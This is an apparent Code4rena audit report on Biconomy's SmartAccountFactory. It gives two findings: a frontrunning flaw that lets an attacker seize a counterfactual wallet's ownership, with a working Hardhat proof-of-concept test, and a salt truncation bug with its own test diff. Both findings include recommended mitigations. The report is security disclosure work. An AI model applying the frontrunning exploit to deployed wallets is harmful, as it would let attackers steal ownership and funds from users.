Biconomy - Smart Contract Wallet contest - Kalzak's results

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33-L45

Vulnerability details

Impact

When deploying a smart-account using SmartWalletFactory.deployCounterFactualWallet, the arguments _entryPoint and _handler are not used when calculating the create2 deployment address. An attacker could see a user deterministically deploying a smart-account and frontrun their transaction, changing the _entryPoint argument to their own address. Once the smart-account is deployed, the attacker can call SmartAccount.execFromEntryPoint since they are in control of the entrypoint address. They can use this function to execute a call to its own address, specifically the setOwner function as it has the mixedAuth modifier. The attacker now has full ownership of the smart-wallet.

This applies to more than just frontrunning however. A feature of deterministic account abstraction is the ability to deploy smart-accounts across multiple chains with the same address. An attacker could follow the steps above to prevent a user from being able to use the same smart-account across multiple chains by preemptively deploying.

It is also a known practice to send funds to an address that you know you will be able to deterministically deploy to, without having deployed the contract until you need to make a transaction. If a user with a deterministically deployed smart-account on Ethereum is expecting payment on Polygon, they can provide the same address for Polygon knowing they can deploy and move the funds at a later time. An attacker would be able to steal these funds.

On top of stealing ownership and funds, it is possible to use this as a DOS against wallet deployments, as each deployment by the user will fail since the frontrun deployment executes first.

Proof of Concept

The following test can be added to the end of test/aa-core/entrypoint.test.ts

describe("Deployment", function () {
  it.only("Frontrun and steal ownership", async () => {

    let baseImpl;
    let walletFactory;
    let entryPoint;
    let owner;
    let attacker;
    let victim;
    let accounts;

    // Get accounts
    accounts = await ethers.getSigners();
    owner = await accounts[0];
    attacker = await accounts[1];
    victim = await accounts[2];

    // Deploy smart account implementation
    const BaseImplementation = await ethers.getContractFactory("SmartAccount");
    baseImpl = await BaseImplementation.deploy();
    await baseImpl.deployed();

    const WalletFactory = await ethers.getContractFactory("SmartAccountFactory");
    walletFactory = await WalletFactory.deploy(baseImpl.address);
    await walletFactory.deployed();

    // <Victim tries to deploy a wallet here>

    // Attacker frontruns victim's deployment, setting the _entryPoint as their own address
    await walletFactory.connect(attacker).deployCounterFactualWallet(victim.address, attacker.address, owner.address, 1);

    const victimWalletAddress = await walletFactory.getAddressForCounterfactualWallet(victim.address, 1);
    const victimWallet = BaseImplementation.attach(victimWalletAddress);

    let oldOwner = await victimWallet.owner();

    // Attacker now uses `execFromEntryPoint` to make a call from wallet to itself
    // Calls `setOwner` to set the owner to attackers address
    victimWallet.connect(attacker).execFromEntryPoint(
      victimWalletAddress,
      0,
      victimWallet.interface.encodeFunctionData("setOwner", [attacker.address]),
      0,
      100000
    );

    let newOwner = await victimWallet.owner();

    console.log("Attacker address:  ", attacker.address);
    console.log("Victim address:    ", victim.address);
    console.log("Initial owner:     ", oldOwner);
    console.log("Post exploit owner:", newOwner);
  });
});

Tools Used

• Manual analysis

Recommended Mitigation Steps

The owner address could sign the arguments used when attempting to deploy and pass this as an additional argument. This signature can then be verified against the owner address to ensure that arguments have not been tampered with.

Deterministic address deployment only uses the 160 least significant bits in deployCounterFactualWallet

In the function SmartAccountFactory.deployCounterFactualWallet, the user provides an argument _index that can be used to change the salt for the create2 deployment. This argument is originally type uint256 but casted to uint160 and then to address. This casting results in the 96 most significant bits in _index not being used to determine salt.

This can cause confusion, as the user would rightly believe that by changing _index they are guaranteed to have a different deployment salt, which is not the case.

Consider either:

1. Changing _index to be uint160 so there are no values to truncate.
2. Changing the salt calculation so that _index is not casted to a smaller type.

Test

A test demonstrating this behavior is shown below:

diff --git a/entrypoint.test.ts.orig b/entrypoint.test.ts
index 29e930c..b811d5e 100644
--- a/entrypoint.test.ts.orig
+++ b/entrypoint.test.ts
@@ -1424,3 +1424,59 @@ describe("EntryPoint", function () {
     });
   });
 });
+
+describe("Deployment", function () {
+  it.only("Deterministic salt truncated", async () => {
+
+    let baseImpl;
+    let walletFactory;
+    let owner;
+    let accounts;
+    let user;
+    let other;
+
+    // Get accounts
+    accounts = await ethers.getSigners();
+    owner = await accounts[0];
+    user = await accounts[1];
+    other = await accounts[2];
+
+    // Deploy smart account implementation
+    const BaseImplementation = await ethers.getContractFactory("SmartAccount");
+    baseImpl = await BaseImplementation.deploy();
+    await baseImpl.deployed();
+
+    const WalletFactory = await ethers.getContractFactory("SmartAccountFactory");
+    walletFactory = await WalletFactory.deploy(baseImpl.address);
+    await walletFactory.deployed();
+
+    /*
+      The least significant 160 bits are same between salt1 and salt2
+      The least significant 160 bits are different between salt1 and salt3
+
+      salt1 = 0x00ffffffffffffffffffffffffffffffffffffffff
+      salt2 = 0x99ffffffffffffffffffffffffffffffffffffffff
+      salt3 = 0x00ffffffffffffffffffffffffffffffffffffff00
+    */
+
+    let salt1 = BigNumber.from("1461501637330902918203684832716283019655932542975");
+    let salt2 = BigNumber.from("225071252148959049403367464238307585027013611618303");
+    let salt3 = BigNumber.from("1461501637330902918203684832716283019655932542720");
+
+    // First deploy works fine
+    await walletFactory.connect(user).deployCounterFactualWallet(user.address, other.address, other.address, salt1);
+
+    // salt1 and salt2 are different values (difference is not within the 160 least significant bits)
+    expect(salt1).to.not.equal(salt2);
+
+    // But deployment will still fail
+    await expect(walletFactory.connect(user).deployCounterFactualWallet(user.address, other.address, other.address, salt2))
+      .to.be.revertedWith("Create2 call failed");
+
+    // salt1 and salt3 are different values (difference is within the 160 least significant bits)
+    expect(salt1).to.not.equal(salt3);
+
+    // This deployment will work
+    walletFactory.connect(user).deployCounterFactualWallet(user.address, other.address, other.address, salt3);
+  });
+});
\ No newline at end of file